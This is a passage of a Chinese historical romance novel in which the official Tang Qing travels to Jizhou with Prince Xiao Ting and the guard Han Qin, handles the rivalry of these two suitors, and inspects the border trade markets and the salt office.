萧亭怜乳母举目无亲, 便将她认为义母, 其孩子便为他的义弟。 他把母子二人接入王府, 请来最好的大夫医治,续了上好的药材。无奈义弟长至十一岁时,也因心疾突发早年离去。 萧亭叹道:“义母白发人送黑发人, 经此巨大打击,神魂俱散,心智痴傻。这些年寻医无果,心病全系一人, 便是年幼病逝的义弟。” “说来也巧, 自与唐侍郎第一次相遇, 便觉侍郎的眉眼处与我那义弟有三四分相似。” 唐青低喃:“第一次相遇……” 他默然沉思,旋即神色陡变,带了几分怒气,难以启齿道:“王爷,您、我……那次马车上……” 萧亭立刻解释:“马车那日,本王见侍郎深陷痛苦,侍郎身子羸弱, 不堪药力折磨,当时便心生不忍, 怜惜之下,才出此下策。” 这是二人相识以来,第一次谈及当日的意外。 萧亭借着车外火光注视唐青半明半晦的面庞,柔声道:“本王对侍郎绝无冒犯之意,事出紧急,才选择那样做。” 转念一忖,又道:“本王义弟走时还很小。” 说着,抬起掌心比了比:“只这么点个子,五官还未长开,与侍郎的容貌相比,细看之下,其实并不像,只是眉毛与眼睛有点神似。” 他顿下声:“眉毛一样的细致修长,眼睛生得水汪汪的。” 唐青:“……” 见唐青绷起的脸缓和,萧亭适才松了口气。 “总之,本王绝对没把你们二人混淆。” 他问:“唐侍郎还想听本王解释什么?” 萧亭磊落坦然,有话及时开口,解除二人之间不必要的误会。 唐青也不好继续生气,遂问:“所以王爷想让下官假扮义弟,陪您的义母相处?” 萧亭道:“确有此意,义母常年受心病所扰,缠绵病榻,时日所剩无几。若她能看到你,或许心里会好受些,能在走之前了却一桩心事。” 唐青:“……若没有效果呢。” 萧亭道:“实不相瞒,过去几年,本王在民间寻过与义弟相似之人,带到义母面前,但屡不见效。唯独见到唐侍郎时,心里忽然响起一道声音,那道声音告诉本王,要找的人就是你。” 他细细端详唐青:“如若不试试,何以知晓没有效果呢?” 唐青垂眸:“王爷这是欺骗人。” 萧亭道:“本王只想解开义母心结,让她离开前过上几天轻松日子。心结能解开固然是好,如若无法,已是尽力,尽了力就不后悔。且谎言分善恶,有时候世上需要一些善意的谎言,侍郎以为呢?” 唐青眼睫轻轻颤动:“下官能理解……” 他垂眸细思,复又抬眸,唇边绽出很浅的笑意。 “说来也巧,王爷看到下官第一眼,便觉得下官与那位义弟颇有几分神似,而我出生时,也带了先天性心疾。” 此话既出,他置于膝前的手腕蓦然袭上一阵疼痛。 萧亭握紧他的手:“唐侍郎也患有心疾?” 他只知唐青身子孱虚,哪曾想过,眼前荏弱却又坚韧的青年同样遭受心疾困扰。 唐青看着腕上那只手掌,道:“若调养妥当,心疾不会轻易发作,王爷,您……” 萧亭松手:“本王失仪,抱歉。” 唐青抿唇一笑:“天色不早,王爷回去休息吧。” 萧亭道:“本王看时辰倒还不晚,既说过帮你,就从即刻起。” 唐青:“……” 萧亭笑了笑:“放心,不会对你做什么,就在这马车内多坐片刻。” 仅二人相坐无言的功夫,便会令韩擒寝食难安,黯然失落。 唐青送萧亭下车时,就如对方所言,韩擒守在不远的范围之内,背着光面对马车方向,像一道寂静的影子,莫名叫人感到沉重。 萧亭站在马车底下,叮嘱道:“早点歇息,还须再赶两日路程。” 唐青应答,目送萧亭走远,韩擒来到面前,哑声问:“先生可有吩咐。” 唐青轻轻摇头:“我歇下了,劳烦统领值夜。” 落回车帘,韩擒依然没走。 唐青闭起眼眸,狠下心那般背过身躺回榻间。 ** 翌日,马车在官道上平稳行驶。 刚过正午,又落了一场雨水,山野挲挲回响。 韩擒往车内送去水和食物,唐青道了谢,接过水囊时,另一端忽然被对方攥紧不放。 唐青抬眸,韩擒目光沉晦,欲言又止。 “先生,昨夜你……” 身后来人打断了将要开口的话。 “唐侍郎,本王早上写了几卷关于冀州历年边贸的记录,可要观阅?” 唐青微微抬起下颌,眸光越过韩擒肩膀,迎上萧亭的目光。 “王爷有请。” ** 萧亭虽然答应帮唐青挡开韩擒,叫对方死心,但也的确带了正事过来与唐青商议。 文卷上为他一早在马车内写的冀州历年贸易细则,具体详情记录,在冀州王府的书库才能找到。 车外被人叩响三声,唐青揭来帘子,见韩擒举起水囊。 唐青回绝,道:“今早统领已经给我送了三次水。” 说着,拿起案几上的水囊:“还没喝完,不必再送。” 韩擒目光直直盯着萧亭,唐青重新落下帘布,眼神露出几分不忍和无奈。 听声音走远,萧亭适才开口。 “这便于心不忍了?” 唐青:“他当真很固执……” 萧亭:“当断则断,你的一丝不忍,便给他坚持下去的幻想。” 他目光掠过唐青脸上的迷茫,指着文卷,缓声道:“继续看下去吧,莫再为无关紧要的事情伤神。” 唐青微微点头,把心力重新放回文卷记录的细则上。 * 如此过了两三日,马车驶入冀州境内。 期间,韩擒只在送水送粮的时候靠近马车,多逗留一分,便往内心多施加一分凌迟。 除了唐青休息的时间,萧亭皆带着公事,堂皇正大地与他在马车内相处。 连随行的将士都逐渐看出端倪。 就算有公务相商,他们何曾见过王爷何这般频繁的接触一个人。 日近傍晚,萧亭掀开车帘,示意唐青看看外面。 入眼已不再是荒凉无边的山野,而是带着古朴简洁风格的街道。 冀州平城,为境内少有的繁华城邑,也是冀襄王王府所在之地。 车队此刻行驶在平城的街道上,唐青观察周围,虽见热闹,但繁华精致程度,远不及邺都。 他忍不住靠在车窗仔细探量,很快发现其中特色。 往来的冀州百姓,当前时节多穿皮袄皮料。 街道两边设置许多用木头和帐篷搭建起来的摊子,有卖地方特色吃食的,还有现宰牛羊肉的,售卖皮革兽靴,多为北方游牧地区所见的物资。 应地理环境和气候影响,冀州的人大多生得浓眉高鼻,肤色呈现不同程度的黝黑,脸颊两边被寒风吹得红彤彤,嘴角咧开大白牙,双手揣在兜内,笑着同身旁的人闲聊。 有人瞥见马车内探出的唐青,呆愣一瞬,“哇”的一声惊呼。 叫声引来数道目光朝马车打量,行人聚成团,就跟看到仙人下凡似的,满目惊艳。 唐青连忙落回帘子,平城风俗开放,适才被那么多双眼睛直勾勾看着,叫一向镇定的他有点难为情起来。 萧亭将他的反应一丝不落地捕捉在眼底,面上几分忍俊不禁。 唐青道:“平城的百姓果然如王爷所言,各个直爽坦诚。” 韩擒被这边的动静惊扰,皱着眉头策马返回,绕在马车四周护卫。 他道:“先生,我已派人提前跟平城的官驿取得联系,此时即可前往官驿下榻休息。” 萧亭道:“平城是本王的地方,侍郎和统领远道而来,本王自不会轻怠。适才与侍郎商议过,在冀州的这段日子,便在王府小住,统领没有异议吧。” 他又道:“王府的环境再怎么说都比官驿舒适,且有专人伺候,出行方便。书库内藏有边境历年贸易详细的卷宗底册,侍郎可随时查阅,不必两头奔波,统领以为如何?” 萧亭事事想的周道,韩擒拒绝的话停在嘴边。 诚然,为了唐青的身子考虑,留在王府小住,确实比官驿来得好。 他道:“那就有劳王爷了。” 马车驶入王府门前,唐青欲下车,韩擒抬手正准备把他带下去。 车内出来的萧亭双目微微眯起,单臂侧揽唐青的腰肢,将他稳稳当当带到地面。 韩擒收起横在半空的手:“王爷,此举不妥。” 萧亭从容笑道:“本王与唐侍郎这几日相处下来,颇感意气相倾。且来到冀州,便免了那些不必要的繁文缛节,还请统领无须拘谨。” 他朝唐青示意,道:“随本王来,挑一间你喜欢的院子。” 第067章 第 67 章 听闻王爷回府, 管事带着下人们已在院中等候。 管事为首,几名从战场上退下来的将士目光精烁,一句“恭迎王爷”回府, 吼得那叫气势如虹。 跟在后面进府的唐青不由顿了顿脚步, 萧亭回头, 笑意从容中多了几分随性。 “都是一群到了年纪都不安分的活宝, 莫要被这帮老小子吓着。” 萧亭先进院中, 道:“本王带了贵客回府, 别惊到贵客。” 待唐青出现在萧亭背后, 站成排的老将士眼睛都看直了,还有的直接揉上眼睛。 “王爷,您出府一趟, 给咱们把王妃带回来啦?” 萧亭道:“什么王妃,这是皇上钦点的边贸监察史,唐大人。” 几名将士龇牙嘿嘿一笑:“原来是唐大人,见过大人, 方才咱们几个唐突了, 还望大人恕罪。” 几名将士早年就投身前线, 年近四旬落了一身伤下来,已经成家的那部分都回家过日子去了,剩下几个,上下皆无老幼,亦无妻儿,萧亭索性把他们留在王府内,让他们把这里当成自己的家。 十余年相处下来, 几名老将士早就把彼此当成亲人,连同萧亭, 即便贵为皇亲国戚,也没少被他们乐呵呵地打趣。 唐青觉得几人真有意思,浅笑着与他们招呼,余光扫向后方。 后方一张桌子上陈摆了一大壶酒,边上还置了个烧着火的铜盆。 “这是?” 萧亭嗓音低磁地解释:“冀州的习俗,他们给本王接风洗尘准备的。” 话声方落,从外头带着行李走进院子的韩擒与几名将士对视,微微点头。 将士们道:“韩统领?!” “几年不见,当年叱咤西北二境的小韩骑督都长这么大啦。” 韩擒随萧隽出征时,踏过大邺遍布战火之境,作为得力前将,名声显赫,许多从前朝割据战乱时期经历过来的将士都知道他。 大邺平定,时隔几年再见,老将眼中多了些热泪。 他们收了收眼里的泪光,举起旁边的一大壶酒,斟上满满三碗。 “王爷,统领,监察史大人,咱几个敬你们一杯。” 老将们干脆利落地痛饮一大碗酒,依照冀州习俗,接风洗尘的人也需痛饮上这碗酒,接着从火盆上迈入堂屋,预示着去除一路尘秽,也算完成风俗。 萧亭笑而不语,兀自斟上大碗,仰头喝净。 下一刻,两道声音同时响起。 “本王替他喝。” “我替他喝。” 萧亭和韩擒止声,默契地望着彼此。 几道目光齐齐打量唐青,将士们视线一转,似乎从中琢磨出些许火光四溅的味道。 王爷待众人一向爽朗温厚,何曾像此刻这般,带着些针锋相对的意味。而韩擒,当年还是个跟木头一样的直愣小子,哪怕在战场上杀红眼也能闷不吱声。 韩擒道:“王爷,下官奉皇命护送唐大人,理当由下官把这碗酒喝了。” 他掌风一扫,连斟二碗,沉默利落地把碗中酒水饮尽。 将士鼓掌振声:“统领果然爽快。” “既然统领代为喝了这碗酒,唐大人请先进屋歇着吧。” 冀州春夜的风很大,唐青站在韩擒和萧亭中间,在两具颀长修健体格的对比下,即使裹着狐裘,亦如风中拂摆的柳枝,弱不禁风,叫常年习武的将士们心生不忍。 唐青迈过燃烧的火盆,方入堂屋,便有一阵微微暖气袭绕周身。 他小坐片刻,喝了热茶暖身后,腮边浮出薄薄绯色,仿佛晕开一层脂粉,周身镀上柔和的暖光,好似连几盏灯火似乎都格外眷顾他。 杵在门外的将士搓搓自个儿黝黑的脸,看着王爷温声向唐大人低语介绍,再看韩统领沉着面色,摇摇头,疾步离开这硝火陡生之地,生怕引火烧身。 唐青围绕前院溜达一圈,目光带了探寻。 萧亭道:“义母卧榻数年,大夫交代需要静养,府上这帮老小子成日闹得欢,本王就将义母送到距离王府不远的一座院子里调养,那儿清净,素日得闲时,本王便去陪她用饭,叙会儿家常话。” 唐青微微莞尔,道:“府上的将士都很有趣。” 萧亭笑叹着摇头:“日子一久,只会嫌他们闹腾了。” 很快,将士们从庖房送来满满几锅冀州菜,有煎烤得浓郁鲜香的鱼,油脂四溢的烤牛羊,肾脏大补汤,最后才上了道夹些绿色的小炒青瓜。 唐青打量满桌子的肉,不禁咋舌,最后夹了几块小青瓜,韩擒盛了碗用清水兑过的鱼肉放到他手边。 萧亭吩咐:“往后多备几道清淡滋养的菜色,唐侍郎用不了过于荤腥的食物,就照老夫人的食谱准备。” 将士们记下,还想到庖厨多备几道清淡点的菜,唐青及时制止。 一伙人围着大桌子坐下用饭,唐青面前的碗总是满的,无论缺什么,左右两旁都有人替他添上。 他一顿饭吃得颇为不自在,饭后面上尽显倦色。 此途舟车劳顿,唐青在房中洗漱之后,靠在榻间准备休息。 * 墙上烛火轻曳,门外扣响,萧亭立在檐下,温声询问。 唐青出榻,开了门,抬眸便迎上对方温厚柔和的目光。 “要休息了吗?” 唐青道:“回王爷,正准备躺下。” 他发间稍微湿润,如云乌发垂至腰际,明丽潋滟的眉眼几分倦色,叫人瞧了十分想好好呵护珍视。 萧亭把手上的瓷碗递给他:“这碗牛乳适才温过,喝了便安心歇息。” 唐青浅笑道:“还有睡前喝牛奶的习惯吗?” 萧亭道:“初到冀州,担心你不适,喝些牛乳有助于休息。” 待唐青喝完,萧亭扶他回榻躺好,掌心一挥,熄去烛灯,只留室内小厅里的一盏。 隔着屏风,寝室幽暗,萧亭向来温厚从容的目光,蓦然间灼亮许多,透露着与从容相违的热度。 唐青莫名回避注视自己的双眼:“王爷,您不必如此。” 萧亭:“你初到冀州,留在本王府上做客,本王比你年长,对你多照顾几分是应该的,无须抱有负担。” 唐青已被倦意席卷,想再说点什么,混混沌沌地,脸沾在枕边逐渐睁不开眼眸。 萧亭静坐片刻,离开时轻轻把门带上。 廊下,韩擒抱剑而立,萧亭看他一眼,拿着空碗走了。 * 四更天,唐青从混沌的梦境惊醒。 新环境总归叫他不太适应,懵懵茫茫地打量陌生的床头,余光一落,忽然支起身,对窗外的那道身影默然无语。 他唤:“韩擒。” 那人微微侧身,推门来到榻前。 更深夜寒,唐青全身裹在锦被里,露出半张脸。 “你一直守在此地?” 又道:“这里是冀襄王的府邸,防卫严密,不必时时守着。” 他轻声催促:“快去休息吧。” 韩擒道:“我想守着先生。” 他目光里承载着隐忍的失落:“先生,请你不要接近王爷。” 唐青:“为何?” 转念一想,记起途中韩擒几次借口支走萧亭,他不是傻子,很快明白。 遂皱眉问:“这是陛下授意你做的?” 韩擒既没否认也没承认,唐青问完,眼神里露出些许审视的意味。 他心如明镜,待想清楚其中缘由,忽然生出少有复杂的愤怒。 “你们把我当成什么,我自己的情感意愿,何须受人牵制。” 韩擒神色闪过急惶和笨拙,尚未解释,唐青背过身,卷着被褥躺下。 他的声音闷闷传出。 “我也快三十岁了,若有成家的念想再寻常不过。想找什么人,都是我自己的事,跟你们没有关系。” “而且王爷品性出众,与我道同契合,待我率性磊落,真要发生什么,你们也不能这般联合起来牵制我,干涉我的选择。” 韩擒震愕。 “先生,我并非要左右你的想法……” 他艰难开口:“我只想为自己争取一个机会。” 唐青叹息:“我们分开了,你要我说几遍。” 韩擒:“我等先生,等不到也一直等。” 唐青不想与对方继续说那些反复循环的话,韩擒只认定一个死道理,像块任由风吹雨打都嵬然不动的磐石。 韩擒忽然缓下声音,沉沉说道:“若以后先生身边有了别人,我自是不会让先生为难,更不会出现在您的面前。” “可只要您需要我,我就一直都在。” 韩擒有些迟疑,继而开口:“王爷不错,可他毕竟贵为皇室血脉,与皇上牵扯颇深,我担心先生会因此卷入不必要的纷争当中……” 若朝上传出当今皇帝与王爷心属一人,此等轰动朝野的事,怕不能平息。 唐青过于瞩目的相貌和才情,使得与他相处的人很难不动心。 皇上与冀襄王感情匪浅,并非普通君臣可比,如若在唐青身上起了纠纷,事关皇权,他们会向唐青倾斜吗?还是做出伤害他的事。 这也是韩擒深感忧虑的。 唐青揉了揉眉心,道:“我心里有数,你快回屋歇息吧。” 他自然不会告诉韩擒,自己与萧亭只是做些表面功夫,对方也不会喜欢自己。 第068章 第 68 章 从邺都到冀州平城, 唐青一路舟车劳顿,途中强撑的一口气在抵达目的后就散了。 次日早上他吃了点温补的粥食,不久之后开始出现反胃犯呕的症状, 且不适应当地又寒又干的气候, 肌肤上接连起了疹子。 管事请来平城内最好的大夫诊治, 约莫半时辰, 才把人送走。 此刻唐青半倚在床榻之前, 被过敏折磨得浑身不适。 韩擒送走大夫, 遣了名府中的下人到药铺抓药, 手上另外拿着一罐方才大夫给的药膏。 他观察唐青脸颊,原本滢白如雪,因为过敏, 挠得两腮泛起血色,透出些细小的红疹。 韩擒低声道:“莫再挠了。” 说罢,双手合掌迅速搓暖,指腹挑出瓷罐里的药膏, 仔细将唐青胳膊周围起疹子的地方均匀涂抹。 药膏触碰到肌肤立刻化开, 起效很快, 缓解了唐青几分痒意。 韩擒问:“可有舒服点?” 唐青轻轻点头,道:“脸和脖子我自己可以涂抹,今日麻烦你了。” 二人交谈刚结束,门外适时响起萧亭的声音。 “身子可有恢复?” 萧亭端了两盆水进屋,放在睡榻周围。 “平城干燥,只能用老法子试试。” 又道:“本王吩咐庖房炖些冰糖梨汤,早晚喝一次, 看看可有效果。” 唐青一早起来就有点干咳,目前症状很轻, 大夫说还不到用药的程度,可佐以食疗缓解。 唐青言谢。 萧亭看着他,不忘叮嘱:“这几日你就好好歇着,把身子调养好,待气候暖和,再到实地勘察边贸情况也不迟。” 唐青轻叹:“只能如此。” 事分轻重缓急,若他不及时调整状态,恐怕往后会耽搁更多的时间,且他可以借在王府调理的日子,把书库内记在冀州历年边贸的详细资料查阅一遍。 韩擒欲言又止,碍于萧亭在,只能把话暂时放下。 不久,管事亲自从庖房送来炖好的冰糖梨汤,唐青在韩擒与萧亭二人的注视下喝完。 眼前忽然出现两只手,分别都递了块擦嘴的帕子给他。 他一怔,绕开二人,自己另外拿了块,道:“不劳烦王爷和统领了。” 见他回避,萧亭开口:“你暂且安心静养,冀州边贸的卷宗已经吩咐人整理,稍后就到屋内。” 萧亭进退有度,交代完便抬步离去。 韩擒陪唐青坐了片刻,管事和下人抬了半箱书卷放在屋内,唐青肩上罩了件素色披风,下榻整理卷宗,简单分类,适才坐在书案前打开查阅。 他忽然抬眸,望着影子一样跟在身侧的韩擒,道:“如果有事,就先去忙吧,我在屋内哪都不去。” 韩擒微微点头:“周围有仆人和暗卫,如有需求只管吩咐他们一声,或遣暗卫来寻我。” 唐青浅笑:“我明白。” 韩擒定定看着他的笑,在房内多逗留了片刻,方才出门。 连续几日,唐青的院落只有韩擒和萧亭出入。 韩擒大部分时候不说话,就在旁边陪着,萧亭则与唐青商议边贸一事,点到即止,适时闲聊些许平城的风土人情。 如此下来,等他身子好转,冒起的红疹都消褪后,适应了冀州的气候和环境,便有了外出的打算。 四月末的平城,冰雪几近消融,院中点缀些许青绿和花苞,云层的阴翳拨开,每日放晴的时辰逐渐多了起来。 这日正午,唐青看天色不错,遂更换衣物,以冠束发,找到院子后习武的韩擒,说要出门一趟。 他虽在感情上对韩擒有所回避,但于公事上,怀着秉公无私的态度,该怎么做就怎么做。 毕竟韩擒奉皇命护送他,边境此行,唐青与韩擒也算共事的同僚。 韩擒收起拳法:“我陪你一同前往。” 唐青没有拒绝。 管事正在堂屋前带人洒扫庭院,唐青向对方知会一声,道:“如若王爷回来问起,还请管事帮忙传话。” 管事笑呵呵道:“大人尽管放心出门,待王爷回府,老奴就把您的话告诉王爷。” 府中这会儿除了管事和几名洒扫的仆人,萧亭正在军营处理公务,而几名老将亦没闲着,去了军营后勤帮忙。 王府备有马车,唐青和韩擒一起乘坐,径直朝距离平城最近的一处边贸地点出发。 ** 平城不设边贸区,最近的贸易区,在冀州更北,也就是距离平城有一个半时辰车程的崀山堡附近。 平城还能见到城邑的街景热闹,到了崀山堡,交错的路牙两边只设立着没什么规模的集市,百姓多居住在用泥土夯实的土房子里。 根据王府的马夫介绍,崀山堡很小,寻常人疾步而行,约莫半个时辰就能走完一遍。 此刻马车沿窄小的路道跑了一刻钟左右,面前赫然出现崀山堡的城门。 城门开着,有将士驻守,百姓进出需要出示鱼符核对身份,所带物品也需检查。 城墙用巨大的石块和夯泥磊砌,纵使有了风霜残垣的旧痕,仍显金石坚固之势。 走出城门,唐青抬首遥望,在不远处的一片平阔地势周围,隐约看到上面设立的旧址集市。 那里正是将崀山堡和胡族、各游牧外族隔离开的区域,也用作战地缓冲区,过去被设成临时贸易集市。 因为先帝封锁边贸交易的缘故,此地荒凉数年,偶尔有一些外族经过,也都遭受驱赶。 在周围驻守的将士看见有马车停下,正欲驱逐,瞧见率先从车内走出的男子,气度轩武不凡,不由面面相觑。 唐青紧随韩擒下了马车,靠近时被将士拦阻。 韩擒道:“不得无礼,此为冀州边贸监察史,都退下。” 说着,出示官牌,四周的将士见此情形,纷纷恭迎。 唐青意在低调实地勘察,没有为难他们,沿着交易榷场的旧址慢慢转开。 边贸榷场荒置已久,到处遍布灰尘,木头搭建起来的摊位结满蜘蛛网,滋生些许青色苔痕。 用唐青现代的目光来看,就像开设在城市郊区的农贸菜市场,规模一般,半小时脚程就能把这片区域走完。 此地被驻守边境的将士看管,如今空荡荡的,早已不见昔日的热闹景象。 边贸资料显示,这些年大邺停止对外贸易后,即使有战争发生,在交界之处,仍有几地的平民百姓偶尔出没,背着官方管控做点小本买卖。 纵观历代王朝,无论国家施行什么样的政策,就算处在战乱的年头,也无法彻底杜绝生活在边缘地区的百姓私下接触。 毕竟这部分人需要生活,他们艰难存活在战乱和政斗的夹缝中,不同的地方滋生了不同的生存规则。 唐青根据卷宗记载,吩咐随行的马夫带他们去了几处没有将士管辖的地方,果然发现几个零散交易的暗址,有大邺边境的百姓,还有一些游牧外族。 这些游牧外族都是平民布衣的穿扮,发现唐青和韩擒出现在此地,面色几分紧张。 唐青只看了看他们交易的物品什,对摆摊的小贩说道:“别紧张,我们只是经过。” 大邺边境的小贩见他衣着不俗,问:“公子是其他地方来的商人?” 唐青点头:“没错,听闻冀州不日就要开放边关贸易,所以我过来瞧瞧,到时候好做应对。” 听他也是做生意的,小贩颇为感慨。 “咱们再也不用躲躲藏藏的,那些官兵前几年收走俺不少东西,肉疼呐!” 和小贩打了会儿交道,唐青把他们售卖的物什大致查探清楚,多为手工制作用品。 这些手工制作品都是游牧民族日常生活所用,还有些比较方便储存的青瓜冻果,而来自大邺边境的小贩则换取到外族产制的皮革毛料或风干的牛羊肉。 从崀山堡赶回平城,天色渐暗。 路道已经没什么行人,因而停放的一列马车格外引人注目。 韩擒下车探查,很快赶回,告诉唐青这些车辆都是从各个州郡过来的商车。 商车装载粮食,专程带到边境,用来跟置盐司换取盐票的。 去年唐青在朝上主张促商运粮政策,带动商人把粮食运送到边境增加当地仓库存储,缓解边关压力,再借此时机把售卖盐的权利从官府下放到民间,促进民间经济增长, 政策刚出不久,今年几个边境城邑,以冀州平城为例,已涌来许多南方商户,带着手上的部分储粮响应政策。 唐青望着马车几乎排满街道的景象,一路思索,直到抵达王府,方才停止思考。 翌日,韩擒有公事要办,吩咐暗卫好好跟着唐青。 时下天色尚好,想起昨日在街上看到的行商车辆,唐青独自出了王府,打算沿着街头四处逛逛。 他出门不久,从身旁策马而过的人忽然停下,目光温柔灼亮地看着他。 “唐侍郎。” 唐青抬眸,诧异:“王爷?” 萧亭道:“本王正要去军营,可愿过去瞧瞧?” 唐青听说平城置盐司就在军营不远,如今那么多商人进城,他倒想看置盐司怎么处理此事。 甫一点头,身子陡然腾空,叫萧亭抱上身前坐好。 唐青:“……” 他来不及制止,视野已伴着对方爽快磁性的笑声不断倒退。 时至此刻,唐青方才意识到,作为萧家人,无论表象多么温厚,骨子里总归都流淌着霸道的血液。 萧隽这般,萧亭也是如此。 第069章 第 69 章 唐青坐在马背上, 腰肢两侧是萧亭持着缰绳的手臂。 二人靠得相近,战马疾驰间,他能清晰感受到对方微微震动的胸腔, 臂膀起伏的肌理弧度。 平日里待他和颜悦色的萧亭, 此刻却叫唐青觉察到不同寻常的侵略性, 对方极具东方化内敛沉和的眉眼, 变得深邃无比, 睨着他, 目光里俱是炙热。 这样热烈的情绪, 让唐青下意识想要回避。 萧亭唇角扬着笑,口吻透出几分低沉磁性的蛊惑:“唐侍郎,仔细感受。” 唐青轻怔, 萧亭意有所指地开口:“平城的风。” 记起旧事,唐青抛开纷杂的情绪,默默把心力转移到眼前。 平城街道的场景不断倒退不断变化,街道消失, 四周出现低平的山丘空地。 他缓慢合起双眸, 束起的青丝在风中飞扬, 连带着他似乎也飞了起来, 冀州的天,更为辽阔低矮,拂过肌肤的春风带了阳光的气息,夹着土地的味道,干冽而温暖,令人精神为之一振。 他重新睁开双眼, 顿觉所有积压在内心的情绪一扫而空,化作天地间的一缕风, 一抹尘埃。 萧亭倾向他的脸侧,低声问:“可有感受到冀州的风,喜欢吗。” 唐青唇边噙着浅笑:“很舒服,在此地骑行一圈,脑海里所有的杂绪化为无形,人好像就变成世间的蜉蝣,渺小却自在。” 萧亭面上笑意不减,目光锁着他,道:“你啊,平日里就是想的太多,有空闲多出来转转,让自己放轻松些,身子自然就会好上许多。” 唐青垂眉,微微一笑:“王爷言之有理,可有的事情不得不做。” 萧亭忽然问:“唐青,你可想留在这里。” 唐青:“留在平城?” 萧亭把“留在我身边”咽回嘴边,换了个说辞。 “待解决完边贸一事,我向皇上说情,你愿意吗?” “我知你性情闲逸,并不喜欢朝堂上的纷争。” 亦知他无依无靠,在世间唯独只能自己走出一条路。 萧亭对他怜惜不已,从相遇的第一面起,就带了连他自己都道不明的私心,否则也不会不假思索地救下唐青,更何谈去做那件事。 唐青不由深深看了眼萧亭,隐下心内震动,唇边渐渐止了笑意。 萧亭看着他:“可是有其他顾虑。” 唐青不语,万般心绪化为眉眼的一丝惘然。 他浅叹道:“王爷可还要去军营?” 见唐青话锋一转,萧亭不好继续纠缠追问。 面前地势广阔,远处有低丘起伏,正值芳菲四月末,周围已冒出浅深交错的草绿,风里皆是植物混着泥土的气息。 冀州地处北境,春天来得比任何地方都要晚,但此时的唐青丝毫不觉寒冷,反而因为萧亭方才的一席话,泛出久违的热度。 他再次开口:“王爷莫要耽误公事,先去军营吧。” 萧亭指着前方坦阔的地势:“这儿亦是将士们素日拉练的地方。” 说着,手持缰绳调转方向,没从军营大门进入,而是从侧门带着唐青绕进去。 * 唐青第一次参观军营,好奇地打量周围。 很快,他生出几分不自在。 适才沿着广阔地势骑行一圈,畅意姿然过了头,此刻回神,便觉与萧亭过度亲密了。 周围值巡的将士向萧亭招呼,目光却直直盯着他。 血气刚硬的冀北男儿,何曾见过这般浑身都透露着细致的人。乍看之下雌雄模辩,近距离端量,才恍然醒悟,世上还有此等风华惊绝的男子。 唐青手肘往后碰了碰,道:“王爷,还请把下官放下马。” 萧亭看着他往后打的手肘,莫名被此举激发出罕有的情绪,心道这样的唐青甚为可爱。 毕竟还要顾及唐青的颜面,萧亭放他落回地面,自己也下了马。 萧亭向将士介绍唐青的身份,带他绕军营绕了大半圈。 光是走完半圈,以唐青的体质而言,就叫他颇为吃不消了。 他轻抚泛热的脸庞,微微喘气,裹在披风下的身子发了点细密的汗。 萧亭观他一路隐忍,本想等他开口,但以唐青的性子来看,断然不愿做出扰乱兴致的举动来。 他道:“进营帐里休息,喝口热茶如何。” 唐青笑着点头,此刻他连指尖都在发热。尽管有些劳累,体内却好像多出一股使不完的力气。 萧亭所在的营帐比其他营帐宽敞两倍不止,置着议会时的桌案座椅,还有沙盘,侧面悬挂一张冀州疆域的舆图,后边用屏风隔出一方休息的空间。 将士送来泡好的热茶,不久,左右副将前来汇报军务,萧亭都没有回避唐青,交代下去后,瞥见他低着头自觉避开,嘴角便不禁浮起柔和的笑意。 “都是些无关紧要的军务,无须这般。” 唐青放下茶盏:“王爷,下官还是出去吧。” 见识过平城的军营已然足够,他一个边贸监察史,在人家的地盘继续待下去,于理不合。 萧亭问:“可是有事?” 唐青:“下官想去置盐司转转。” 萧亭:“今日军务不算繁忙,本王随你去。” 唐青想想,接受了。 毕竟他当前以边贸督查的职责来到冀州,主要负责边贸。那促商转粮政策虽然为他主张提出,但施行起来,主要监察的职务不在他身上,贸然过去,恐有越责之嫌。 皇上给萧亭在冀州放了很大的自主管理权,他要去置盐司转一圈,带上唐青,怎么看都挑不出茬子来。 二人一道前往置盐司,主司很快出来迎接。 此时有不少入城的商户正在排队,萧亭让主司汇报,唐青很快知道这些商户正在等待核对信息,待登记完,即可依照条例获取官方发放的盐票。 趁萧亭与主司交谈之际,唐青转去其他地方,在门口驻足片刻,见几名商户走出,便迎了过去。 商户面露惊艳,向他询问来意。 唐青临时编了个借口,声称自己也是外城过来的商户,借机打探以粮食兑换盐票的事宜。 从商户口中得知平城置盐司没有徇私废公,更未借职务便利克扣粮食,欺压商户,稍觉安慰。 目送商户离开,萧亭走到他身侧:“问出什么来了?” 唐青总结今日在军营和置盐司所见,道:“王爷治下严明。” 萧亭笑道:“去年皇上查出私粮北运至外族一事,可是亲自向本王问了罪,那几个月忙得昼夜不分,把冀州各地官员好好肃清了一番。” 唐青道:“王爷辛苦了。” 萧亭摇摇头,又道:“边贸公示一出,届时平城也会设立贸易的榷市,榷市初步定在平城西街,可想去转转。” 唐青不假思索:“想。” 萧亭道:“这便走吧。” 本想带唐青逛一会儿军营,再让他好生休息。可看到唐青忙起来就全身心投入的样子,与其想方设法找借口独处,不如亲自带他四处走一遍。 萧亭从置盐司处差了辆马车,两人在平城西街下车,前方不远,有官兵设点,不少民众正在排队。 唐青向队伍里的人询问,得知他们正在应招榷市劳工的名额。 排队的人群里,除了平城当地的居民,还有辗转至此地的流民,及混了外族血统的边界一带的百姓。 只要有人通过考核与验查,做了登记,不日就可凭借官家发放的榷引在榷市劳工,获取月钱或者粮食。 此为新修订的边贸条例中列出的细则之一,市场开启后,必须增设务工数量,从平民里选取劳动人员。 目的就是通过增加劳务岗位,提高百姓的生活经济水平,稳定社会发展。 听罢,萧亭看着他,道:“旧条例并无这条细则,侍郎行思独特,多为百姓考虑周到。” 萧亭查过唐青,自其入朝起,做的都是触犯各阶级利益的事,也难怪皇上会安插韩擒和近身暗卫在他身边,若不这般护着,只怕会出意外。 叙谈之际,前头闹出动静,起了纷争。 萧亭带唐青上前旁观,只见一名年纪轻轻,五官有外族特征的少年与官兵争辩。 原来少年不但通过考核,且完成得相当出色,可官兵看他面带异族特征,当场不予通过。 少年高举鱼符抗议,说自己也是大邺的百姓,为何因为怀有异族血缘,就视为最下等,过了考察却不优先给予登记。 冀州最北境地,分布一些和外族女子通婚的百姓,他们的子女虽被认定为大邺子民,却因为血缘不正的缘故,被鄙视,遭厌弃。 被压制的少年力气奇大,两三名官兵险些拉不住他。 围观的民众有的漠不关心,有的暗自叫好,有同样遭遇的,欲为其发声,最后却一致保持沉默。 少年喊道:“当今圣上也流着异族的血,你们凭什么瞧不起我?!” 官兵呵斥:“大胆刁民,居然敢直呼皇上,不要命啦?!来人呐,把他绑起来——” 萧亭皱眉:“住手。” 